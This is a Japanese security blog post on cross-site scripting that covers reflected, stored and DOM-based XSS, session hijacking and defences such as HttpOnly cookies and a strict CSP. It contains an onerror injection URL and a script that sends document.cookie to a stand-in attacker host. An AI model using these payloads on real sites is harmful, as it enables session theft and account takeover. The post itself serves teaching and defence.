【テクニカル・上級編】 クロスサイトスクリプティング(XSS)のペイロード注入とセッションハイジャック – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

はじめに：XSSを「アラートが出るだけのオモチャ」と勘違いしている君へ

ペネトレーションテストやバグハンティングの現場にいると、未だに「alert(1)が出たので重大な脆弱性です」という報告書を見かける。正直に言おう。そんなものは脆弱性の証明であって、攻撃の証明ではない。実戦において、画面にダイアログを出すことに何の意味がある？

クロスサイトスクリプティング（XSS）の真の脅威は、それが「ブラウザという名のサンドボックス内における任意のコード実行プリミティブ」である点に他ならない。セッションの強奪、DOMの改ざん、キーロギング、そして内部ネットワークへのピボット。これらはすべて、コンテキストを正しく理解し、適切なペイロードを流し込むことで現実のものとなる。

今回は、反射型、蓄積型、そしてDOMベースのXSSにおける低レイヤの挙動から、HttpOnly属性をバイパスしてセッションを強奪する実戦的シーケンス、そして現代のモダンWebアプリケーションにおける堅牢な防御アーキテクチャの構築まで、一切の妥協を排して解説する。

—

1. 脆弱性の根本原因：ブラウザのパーサとスクリプト実行コンテキストの乖離

XSSの本質は、信頼されていないデータが、ブラウザのHTMLパーサやJavaScriptエンジンによって「実行可能なコード」として誤認されることにある。特にモダンなシングルページアプリケーション（SPA）や複雑なDOM操作を行うフロントエンドでは、データの流入口（Source）と流出口（Sink）の経路が多岐にわたり、脆弱性の特定が困難になっている。

反射型（Reflected XSS）と蓄積型（Stored XSS）のメカニズム

反射型は、HTTPリクエストに含まれるパラメータ（例: GETクエリやPOSTボディ）が、サーバ側の動的なレスポンスに即座に反映されることで発生する。一方の蓄積型は、悪意あるペイロードがデータベースやファイルシステムに永続化され、後続の被害者がそのデータを閲覧した際に発火する。

ここで重要なのは、サーバ側が「何をエスケープすべきか」を文脈（Context）ごとに理解していない点にある。HTMLボディ内、属性値の内部、JavaScriptの文字列リテラル内、あるいはCSS内。それぞれにおいて、無効化すべき文字（&, <, >, ", ' など）のセットは異なる。

DOMベース（DOM-based XSS）の闇

サーバサイドのコードが完璧であっても、クライアント側のJavaScriptが不安全な方法でDOMを操作する場合、DOMベースのXSSが成立する。例えば、location.searchやlocation.hashからデータを取得し、それを直接innerHTMLやeval()に渡す実装は、攻撃者にとって格好のターゲットとなる。

// 脆弱な実装例：URLのハッシュフラグメントをそのままDOMに挿入している
// 攻撃URL: https://example.com/page.html#<img src=x onerror=alert(document.domain)>
const fragment = location.hash.slice(1);
document.getElementById('user-content').innerHTML = decodeURIComponent(fragment);

上記のコードでは、innerHTMLに渡された文字列がHTMLとしてパースされるため、ブラウザは画像読み込みエラーをトリガーとして任意のJavaScriptを実行してしまう。

—

2. セッションハイジャックの実際：Cookie盗取からアカウント乗っ取りまで

XSSの最も古典的かつ破壊的なユースケースが、セッションクッキーの盗取によるセッションハイジャックだ。セッションIDがdocument.cookie経由でアクセス可能な状態にある場合、攻撃者は次のようなペイロードを注入してリモートのC2（Command and Control）サーバーへセッション情報を送信する。

実戦的ペイロードの構造

単純なdocument.cookieの送信は、CORS（Cross-Origin Resource Sharing）の制限や、CSP（Content Security Policy）の導入によって阻まれることが多い。そのため、画像タグのsrc属性やnavigator.sendBeacon()を利用した難読化されたデータexfiltration（データ持ち出し）が用いられる。

// 実戦的ペイロードの例：難読化と非同期送信によるCookie盗取
(function() {
    // Cookie情報を取得
    const targetCookie = document.cookie;
    
    // 外部の攻撃者コントロール下にあるサーバーへエンコードして送信
    const exfilUrl = 'https://attacker.example.com/log?c=' + encodeURIComponent(targetCookie);
    
    // 画像オブジェクトを利用してCORS制限を回避しつつGETリクエストを飛ばす
    const img = new Image();
    img.src = exfilUrl;
})();

このスクリプトが蓄積型XSSとして掲示板のコメント欄などに仕込まれていた場合、ページを閲覧した管理者や一般ユーザーのブラウザ上で実行され、Cookieが攻撃者のサーバーに転送される。攻撃者は得られたセッションIDを自身のブラウザのCookieにインジェクト（セッションフィックスまたはハイジャック）し、被害者になりすましてシステムへアクセスする。

—

3. 防御のパラダイムシフト：セキュアな設計とアーキテクチャの監査

脆弱性を根本から断つためには、単なる「入力値のサニタイズ（ブラックリスト方式）」という泥臭いアプローチから脱却し、ブラウザのセキュリティ機構を最大限に活用したディフェンス・イン・ディプス（多層防御）を構築する必要がある。

1. 徹底した文脈依存のエスケープ（Context-Aware Escaping）

出力先のコンテキストに応じた適切なエンコーディング関数を使用する。自製のエスケープ関数を書くのはバグの元であり、OWASP Encoderなどの信頼されたライブラリを強制すべきである。

2. Cookieのハードニング（HttpOnly と SameSite）

セッションIDを保持するCookieには、必ず以下の属性を付与する。

  • HttpOnly: JavaScriptからのアクセス（document.cookie）を物理的に遮断する。これにより、万が一XSSが存在しても、セッションCookieの直接的な盗取を防ぐことができる。
  • Secure: HTTPS接続時のみCookieを送信する。
  • SameSite=Lax または Strict: CSRF（クロスサイトリクエストフォージェリ）攻撃を防ぐとともに、サードパーティコンテキストでの漏洩を防ぐ。

3. 強固なコンテンツセキュリティポリシー（CSP）の実装

XSSに対する最後の砦がCSPである。インラインスクリプトの実行を禁止し、信頼されたソースからのスクリプト読み込みのみを許可することで、仮にXSSの脆弱性（コードインジェクションポイント）が存在したとしても、スクリプトの実行を阻止する。

# 推奨される厳格なCSPヘッダーの例
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.example.com; object-src 'none'; base-uri 'self';

このポリシーでは、unsafe-inlineやunsafe-evalを完全に排除している。攻撃者がいくら巧妙なタグを注入しても、ブラウザのエンジンがその実行を拒絶するため、XSSは無効化される。

—

おわりに：ペネトレーションテスターからの警鐘

Webアプリケーションの複雑化に伴い、フレームワークが標準で提供するエスケープ機能のおかげで、単純なXSSは減ってきたように見える。しかし、DOMベースのXSSや、JSONAPIとフロントエンドのルーティングに起因する複雑な脆弱性は、依然として多くのシステムに眠っている。

攻撃者は常に「開発者の想定の斜め上」を行く。ホワイトハッカー、テックリードである我々は、コードレビューの段階からデータフローを厳密に追跡し、パーサの挙動を見極める目を養わなければならない。セキュリティは後付けのパッチではなく、アーキテクチャそのものであることを忘れるな。

スポンサーリンク

コメント

タイトルとURLをコピーしました